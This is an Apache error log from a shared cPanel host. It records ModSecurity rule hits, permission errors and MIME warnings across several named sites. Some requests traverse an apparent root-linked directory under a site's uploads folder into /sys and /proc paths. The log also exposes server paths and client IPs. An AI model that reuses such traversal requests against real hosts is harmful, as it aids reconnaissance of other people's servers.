[Fri Jul 17 08:09:11.150023 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:38802] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:11.350185 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:61/subsystem/tty47/power/runtime_status"] [unique_id "almVz3jA8yK8B7kryx3dwQAAAAk"]
[Fri Jul 17 08:09:11.350253 2026] [security2:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:61/subsystem/tty47/power/runtime_status"] [unique_id "almVz3jA8yK8B7kryx3dwQAAAAk"]
[Fri Jul 17 08:09:12.114264 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:12.192395 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:13.027975 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:48872] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:15.426355 2026] [core:error] [pid 1993668:tid 1993668] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty21/subsystem/ttyS2/flags
[Fri Jul 17 08:09:16.498202 2026] [security2:error] [pid 1993571:tid 1993571] [client 110.172.98.2:0] ModSecurity: Warning. Match of "rx ^(?:(?:\\\\*|[^\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]+)\\\\/(?:\\\\*|[^\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]+))(?:\\\\s*+;\\\\s*+(?:(?:charset\\\\s*+=\\\\s*+(?:\\"?(?:iso-8859-15?|windows-1252|utf-8)\\\\b\\"?))|(?:(?:c(?:h(?:a(?:r(?:s(?:e[^t\\"(),\\\\/:;<=>?![\\\\x5c\\\\]{}]|[^e\\"(),/:;<=>?![\\\\x5c ..." against "REQUEST_HEADERS:Accept" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1161"] [id "920600"] [msg "Illegal Accept header: charset parameter"] [data "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [hostname "maximsholdings.com"] [uri "/"] [unique_id "almV1OnUgtv5ujFYWh_sMgAAAA0"]
[Fri Jul 17 08:09:16.498939 2026] [security2:error] [pid 1993571:tid 1993571] [client 110.172.98.2:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "maximsholdings.com"] [uri "/"] [unique_id "almV1OnUgtv5ujFYWh_sMgAAAA0"]
[Fri Jul 17 08:09:16.499221 2026] [security2:error] [pid 1993571:tid 1993571] [client 110.172.98.2:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "maximsholdings.com"] [uri "/"] [unique_id "almV1OnUgtv5ujFYWh_sMgAAAA0"]
[Fri Jul 17 08:09:16.892866 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:18.723411 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:49148] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:20.572173 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:20.595581 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:49246] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:23.325740 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almV24l9vhFBGA6D8l9y2QAAAAw"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:09:23.325796 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almV24l9vhFBGA6D8l9y2QAAAAw"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 08:09:27.141587 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:47594] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:27.400874 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:28.769770 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:28.773930 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:28.861167 2026] [core:error] [pid 1993573:tid 1993573] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu3/driver/uevent
[Fri Jul 17 08:09:28.953035 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:29.042992 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:29.247538 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:29.311770 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:47668] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:29.379558 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:29.388913 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:29.525908 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:29.539220 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:29.584932 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:29.814587 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:29.856750 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:29.992599 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:47706] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:30.936103 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almV4lxP5-SsqbGuGB2hVQAAAAA"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1027&page_105=2481
[Fri Jul 17 08:09:30.936142 2026] [security2:error] [pid 1993584:tid 1993584] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almV4lxP5-SsqbGuGB2hVQAAAAA"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1027&page_105=2481
[Fri Jul 17 08:09:31.233122 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:31.345994 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:31.373522 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:31.448667 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:31.515689 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:31.563015 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:31.698510 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:31.816917 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:31.944561 2026] [ssl:error] [pid 1993659:tid 1993659] (70014)End of file found: [client 66.85.158.91:52282] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:32.007901 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.093674 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.139330 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.161354 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.263157 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.291125 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.291272 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.291978 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.292013 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.293321 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.308136 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.319342 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.436474 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.527725 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:32.618767 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty40/subsystem/tty57/dev"] [unique_id "almV5I1dLClkUfK_dfHdnwAAAAI"]
[Fri Jul 17 08:09:32.618808 2026] [security2:error] [pid 1993619:tid 1993619] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty40/subsystem/tty57/dev"] [unique_id "almV5I1dLClkUfK_dfHdnwAAAAI"]
[Fri Jul 17 08:09:33.420173 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:33.441522 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:33.446590 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:33.628984 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/node0/memory135/online"] [unique_id "almV5XRlmrtCoY_COpcevwAAAAg"]
[Fri Jul 17 08:09:33.629025 2026] [security2:error] [pid 1993715:tid 1993715] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/system/cpu/cpu0/node0/memory135/online"] [unique_id "almV5XRlmrtCoY_COpcevwAAAAg"]
[Fri Jul 17 08:09:34.000579 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:34.094282 2026] [ssl:error] [pid 1993604:tid 1993604] (70014)End of file found: [client 66.85.158.91:52374] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:34.996972 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:34.996987 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:35.137892 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:35.228637 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:35.511343 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:35.546932 2026] [core:error] [pid 1993571:tid 1993571] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty3/subsystem/ttyS2/device/driver/bind
[Fri Jul 17 08:09:35.626252 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:35.710866 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:35.774346 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:35.974061 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:35.975580 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:36.001412 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:36.277070 2026] [core:error] [pid 1993570:tid 1993570] [client 216.73.216.245:0] AH00038: Forbidden: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/fd/16 doesn't point to a file or directory
[Fri Jul 17 08:09:36.379123 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:36.564685 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:36.838647 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:37.660344 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:37.916326 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:52504] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:38.022970 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:38.205326 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:38.293819 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:52520] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:39.038698 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:33/device/event3/subsystem/input6/properties"] [unique_id "almV61xP5-SsqbGuGB2hYQAAAAA"]
[Fri Jul 17 08:09:39.038744 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:33/device/event3/subsystem/input6/properties"] [unique_id "almV61xP5-SsqbGuGB2hYQAAAAA"]
[Fri Jul 17 08:09:39.430285 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:39.433277 2026] [ssl:error] [pid 1993573:tid 1993573] (70014)End of file found: [client 66.85.158.91:52568] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:39.467630 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:40.066397 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:40.158258 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:40.842011 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:40.922481 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:52596] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:41.213759 2026] [core:error] [pid 1993570:tid 1993570] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/module/cpuidle/uevent
[Fri Jul 17 08:09:41.398264 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:41.474379 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:41.687357 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:42.051128 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:42.544916 2026] [authz_core:error] [pid 1993574:tid 1993574] [client 130.195.241.3:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-includes/ID3/license.txt
[Fri Jul 17 08:09:42.598940 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:42.780604 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:42.870483 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:43.691239 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almV72idQp3SsqeycPEpYwAAAAo"], referer: http://www.anandaobauae.org/?C=S;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:09:43.691268 2026] [security2:error] [pid 1993998:tid 1993998] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almV72idQp3SsqeycPEpYwAAAAo"], referer: http://www.anandaobauae.org/?C=S;O=Duploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 08:09:44.162172 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:44.170684 2026] [authz_core:error] [pid 1994976:tid 1994976] [client 130.195.241.3:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-includes/id3
[Fri Jul 17 08:09:45.010712 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:45.667570 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:46246] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:45.686365 2026] [authz_core:error] [pid 1993659:tid 1993659] [client 130.195.241.3:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-includes/id3
[Fri Jul 17 08:09:45.729336 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:45.780498 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:46.005110 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:46.576493 2026] [authz_core:error] [pid 1996894:tid 1996894] [client 130.195.241.3:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-includes/id3
[Fri Jul 17 08:09:46.754848 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:47.467440 2026] [authz_core:error] [pid 1993570:tid 1993570] [client 130.195.241.3:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-includes/id3
[Fri Jul 17 08:09:47.908576 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:46400] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:47.965452 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:48.159585 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:48.567144 2026] [authz_core:error] [pid 1993715:tid 1993715] [client 130.195.241.3:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-includes/id3
[Fri Jul 17 08:09:48.888226 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:50.067538 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:50.151703 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:50.530655 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:50.531035 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:50.971791 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:51.569610 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:53548] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:51.755211 2026] [mime:warn] [pid 1999089:tid 1999089] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:51.937987 2026] [mime:warn] [pid 1994956:tid 1994956] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:52.202013 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:52.383614 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:53.126145 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/class/input/input4/device/subsystem/drivers/atkbd/uevent
[Fri Jul 17 08:09:53.695749 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:53.804470 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:54.165725 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:54.377250 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:54.399377 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:53652] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:54.752599 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:54.946258 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:55.230701 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/jbd2/refcnt"] [unique_id "almV-ziSeFVxYLkcq6IaCAAAAAc"]
[Fri Jul 17 08:09:55.230734 2026] [security2:error] [pid 1993675:tid 1993675] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/module/jbd2/refcnt"] [unique_id "almV-ziSeFVxYLkcq6IaCAAAAAc"]
[Fri Jul 17 08:09:55.414887 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:56.491347 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:53732] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:56.595576 2026] [security2:error] [pid 1993671:tid 1993671] [client 66.228.53.162:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almV_A5GPQ6hs4VrfMo6ggAAAAY"]
